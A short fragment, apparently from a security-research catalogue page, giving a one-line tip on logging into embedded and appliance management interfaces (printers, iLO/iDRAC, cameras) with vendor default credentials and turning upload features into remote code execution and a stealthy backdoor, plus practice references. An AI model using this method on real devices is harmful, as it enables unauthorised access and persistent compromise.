Insight β€” Enumerate embedded/appliance devices and try vendor default creds; management UIs (SX80, printers, iLO/iDRAC, cameras) often expose script/upload features that turn admin access into RCE and a stealthy backdoor.

Β§References & practice

  1. PortSwigger Web Security Academy β€” Authentication labs (hands-on practice).
  2. All 181 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains Β· payload libraries Β· methodology.